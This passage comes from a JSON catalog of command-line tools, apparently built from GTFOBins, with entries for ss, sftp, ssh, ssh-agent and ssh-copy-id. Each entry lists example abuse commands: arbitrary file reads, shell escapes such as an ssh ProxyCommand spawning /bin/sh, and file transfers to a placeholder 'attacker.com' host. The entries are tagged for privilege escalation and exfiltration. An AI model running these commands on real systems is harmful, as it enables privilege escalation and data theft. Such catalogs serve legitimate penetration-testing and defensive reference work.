          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Socket statistics utility; can read remote files via TCP.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "ss -a -F /path/to/input-file"
      }
    ],
    "execution": {
      "template": "ss",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "global_vars": {},
    "id": "network-socket-ss",
    "install": [
      {
        "method": "apt",
        "package_name": "iproute2",
        "commands": [
          "apt-get install -y iproute2"
        ]
      }
    ],
    "name": "ss",
    "namespace": "network:socket:ss",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ss/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sftp\n\nsftp is a command-line utility. SSH File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.\n",
    "_source": "sftp.md",
    "allowed-tools": [
      "sftp"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SSH File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "sftp user@attacker.com\nget /path/to/input-file /path/to/output-file"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "sftp user@attacker.com\n!/bin/sh"
      },
      {
        "description": "Upload files",
        "command": "sftp user@attacker.com\nput /path/to/input-file /path/to/output-file"
      }
    ],
    "execution": {
      "template": "sftp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-sftp",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "sftp",
    "namespace": "network:ssh:sftp",
    "parameters": [
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces sftp to use IPv4 addresses only",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces sftp to use IPv6 addresses only",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Attempt to continue interrupted transfers rather than overwrit-",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify the size of the buffer that sftp uses when transferring files. Larger buffers require fewer round trips at the cost of higher memory consumption. The default is 32768 bytes",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Batch mode reads a series of commands from an input batchfile instead of stdin. Since it lacks user interaction, it should be used in conjunction with non-interactive authentication to obvi- ate the need to enter a password at connection time (see sshd(8) and ssh-keygen(1) for details)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the cipher to use for encrypting the data transfers. This option is directly passed to ssh(1)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect directly to a local sftp server (rather than via ssh(1)). A command and arguments may be specified, for example \"/path/sftp-server -el debug3\". This option may be useful in debugging the client and server",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies an alternative per-user configuration file for ssh(1). This option is directly passed to ssh(1)",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests that files be flushed to disk immediately after trans-",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the file from which the identity (private key) for pub- lic key authentication is read. This option is directly passed to ssh(1)",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to the target host by first making an sftp connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a ProxyJump configuration directive. This option is directly passed to ssh(1)",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limits the used bandwidth, specified in Kbit/s",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate sftp command-line flag. For example, to specify an alternate port use: sftp -oPort=24. For full details of the options listed below, and their possible values, see ssh_config(5)",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the port to connect to on the remote host",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Preserves modification times, access times, and modes from the",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet mode: disables the progress meter as well as warning and",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-R",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify how many requests may be outstanding at any one time. Increasing this may slightly improve file transfer speed but will increase memory usage. The default is 64 outstanding re- quests",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Recursively copy entire directories when uploading and download-",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Name of the program to use for the encrypted connection. The program must understand ssh(1) options",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the SSH2 subsystem or the path for an sftp server on the remote host. A path is useful when the remote sshd(8) does not have an sftp subsystem configured",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Raise logging level. This option is also passed to ssh",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-X",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify an option that controls aspects of SFTP protocol behav- iour. The valid options are:",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "flag-1",
        "template_key": "flag-1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Produce single columnar output",
        "aliases": [
          "-1"
        ],
        "flag": "-1"
      },
      {
        "name": "flag-a-2",
        "template_key": "flag-a-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List files beginning with a dot (`.')",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-f-2",
        "template_key": "flag-f-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not sort the listing. The default sort order is lex-",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When used with a long format option, use unit suffixes:",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-l-2",
        "template_key": "flag-l-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display additional details including permissions and",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Produce a long listing with user and group information",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-r-2",
        "template_key": "flag-r-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Reverse the sort order of the listing",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Sort the listing by last modification time",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sftp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ssh\n\nssh is a command-line utility. Secure Shell client; can execute remote commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, spawn an interactive shell, upload files.\n",
    "_source": "ssh.md",
    "allowed-tools": [
      "ssh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "system.file.read",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Secure Shell client; can execute remote commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, spawn an interactive shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "ssh user@attacker.com 'cat /path/to/input-file\""
      },
      {
        "description": "Read arbitrary files",
        "command": "ssh -F /path/to/input-file x"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "ssh localhost /bin/sh"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost"
      },
      {
        "description": "Upload files",
        "command": "echo DATA | ssh user@attacker.com 'cat >/path/to/output-file\""
      }
    ],
    "execution": {
      "template": "ssh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-ssh",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "ssh",
    "namespace": "network:ssh:ssh",
    "parameters": [
      {
        "name": "KL",
        "type": "boolean",
        "required": false,
        "description": "port for re-",
        "aliases": [
          "-KL",
          "-KR"
        ],
        "flag": "-KL"
      },
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces ssh to use IPv4 addresses only",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces ssh to use IPv6 addresses only",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Bind to the address of bind_interface before attempting to con- nect to the destination host. This is only useful on systems with more than one address",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies a local \"dynamic\" application-level port forwarding. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Append debug logs to log_file instead of standard error",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies an alternative per-user configuration file. If a con- figuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored. The default for the per-user configuration file is ~/.ssh/config. If set to \"none\", no configuration files will be read",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify the PKCS#11 shared library ssh should use to communicate with a PKCS#11 token providing keys for user authentication",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to the target host by first making an ssh connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. IPv6 addresses can be specified by enclosing the address in square brackets. This is a shortcut to specify a ProxyJump configura- tion directive. Note that configuration directives supplied on the command-line generally apply to the destination host and not any specified jump hosts. Use ~/.ssh/config to specify configu- ration for jump hosts",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-K",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mote and -KD[bind_address:]port for dynamic port-forwardings. !command allows the user to execute a local command if the PermitLocalCommand option is enabled in ssh_config(5). Basic help is available, using the -h option",
        "aliases": [
          "-K",
          "-K"
        ],
        "flag": "-K"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-L [bind_address:]port:remote_socket -L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by al- locating a socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port hostport, or the Unix socket remote_socket, from the remote machine",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-O",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Control an active connection multiplexing master process. When the -O option is specified, the ctl_cmd argument is interpreted and passed to the master process. Valid commands are: \"check\" (check that the master process is running), \"forward\" (request forwardings without command execution), \"cancel\" (cancel for- wardings), \"proxy\" (connect to a running multiplexing master in proxy mode), \"exit\" (request the master to exit), and \"stop\" (request the master to stop accepting further multiplexing re- quests)",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ssh_config(5). Refer to the Tag and Match keywords in ssh_config(5) for more information. -p port Port to connect to on the remote host. This can be specified on a per-host basis in the configuration file",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-Q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Queries for the algorithms supported by one of the following features: cipher (supported symmetric ciphers), cipher-auth (supported symmetric ciphers that support authenticated encryp- tion), help (supported query terms for use with the -Q flag), mac (supported message integrity codes), kex (key exchange algo- rithms), kex-gss (GSSAPI key exchange algorithms), key (key types), key-ca-sign (valid CA signature algorithms for certifi- cates), key-cert (certificate key types), key-plain (non-cer- tificate key types), key-sig (all key types and signature algo- rithms), protocol-version (supported SSH protocol versions), and sig (supported signature algorithms). Alternatively, any key- word from ssh_config(5) or sshd_config(5) that takes an algo- rithm list may be used as an alias for the corresponding query_option",
        "aliases": [
          "-Q"
        ],
        "flag": "-Q"
      },
      {
        "name": "flag-R",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-R [bind_address:]port:local_socket -R remote_socket:host:hostport -R remote_socket:local_socket -R [bind_address:]port Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the location of a control socket for connection shar- ing, or the string \"none\" to disable connection sharing. Refer to the description of ControlPath and ControlMaster in ssh_config(5) for details",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-W",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests that standard input and output on the client be for- warded to host on port over the secure channel. Implies -N, -T, ExitOnForwardFailure and ClearAllForwardings, though these can be overridden in the configuration file or using -o command line options",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables forwarding of the authentication agent connection",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use bind_address on the local machine as the source address of the connection. Only useful on systems with more than one ad- dress",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "Selects the cipher specification for encrypting the session. cipher_spec is a comma-separated list of ciphers listed in order of preference. See the Ciphers keyword in ssh_config(5) for more information",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": "`~'",
        "description": "Sets the escape character for sessions with a pty . The escape character is only recognized at the beginning of a line. The escape character followed by a dot (`.') closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once. Setting the character to \"none\" disables any escapes and makes the ses- sion fully transparent",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests ssh to go to background just before command execution",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allows remote hosts to connect to local forwarded ports. If",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Selects a file from which the identity (private key) for public key authentication is read. You can also specify a public key file to use the corresponding private key that is loaded in ssh-agent(1) when the private key file is not present locally. The default is ~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ecdsa_sk, ~/.ssh/id_ed25519 and ~/.ssh/id_ed25519_sk. Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple -i options (and multiple identities specified in configuration files). If no certificates have been explicitly specified by the CertificateFile directive, ssh will also try to load certificate information from the filename obtained by appending -cert.pub to identity filenames",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables forwarding (delegation) of GSSAPI credentials to the",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the user to log in as on the remote machine. This also may be specified on a per-host basis in the configuration file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "A comma-separated list of MAC (message authentication code) al- gorithms, specified in order of preference. See the MACs key- word in ssh_config(5) for more information",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Redirects stdin from /dev/null (actually, prevents reading from",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Can be used to give options in the format used in the configura- tion file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5)",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet mode. Causes most warning and diagnostic messages to be",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "May be used to request invocation of a subsystem on the remote",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force pseudo-terminal allocation. This can be used to execute",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-2",
        "template_key": "flag-t-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verbose mode. Causes ssh to print debugging messages about its",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests tunnel device forwarding with the specified tun(4) de- vices between the client (local_tun) and the server (remote_tun)",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-w-2",
        "template_key": "flag-w-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables X11 forwarding",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send log information using the syslog(3) system module. By de-",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ssh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ssh-agent\n\nssh-agent is a command-line utility. SSH authentication agent that can spawn a shell; can also spawn an interactive shell.\n",
    "_source": "ssh-agent.md",
    "allowed-tools": [
      "ssh-agent"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SSH authentication agent; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "ssh-agent /bin/sh"
      }
    ],
    "execution": {
      "template": "ssh-agent",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-ssh-agent",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "ssh-agent",
    "namespace": "network:ssh:ssh-agent",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ssh-agent/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ssh-copy-id\n\nssh-copy-id is a command-line utility. Install SSH public keys on remote servers; can also read arbitrary files, write to arbitrary files.\n",
    "_source": "ssh-copy-id.md",
    "allowed-tools": [
      "ssh-copy-id"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Install SSH public keys on remote hosts; can write to authorized_keys and spawn shells.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, unprivileged)",
        "command": "ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com"
      },
      {
        "description": "Write to arbitrary files (sudo, unprivileged)",
        "command": "ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host"
      }
    ],
    "execution": {
      "template": "ssh-copy-id",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "network-ssh-ssh-copy-id",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "ssh-copy-id",
    "namespace": "network:ssh:ssh-copy-id",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ssh-copy-id/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ssh-keygen\n\nssh-keygen is a command-line utility. SSH key generation and management utility.\n",
    "_source": "ssh-keygen.md",
    "allowed-tools": [
      "ssh-keygen"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.library.load"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
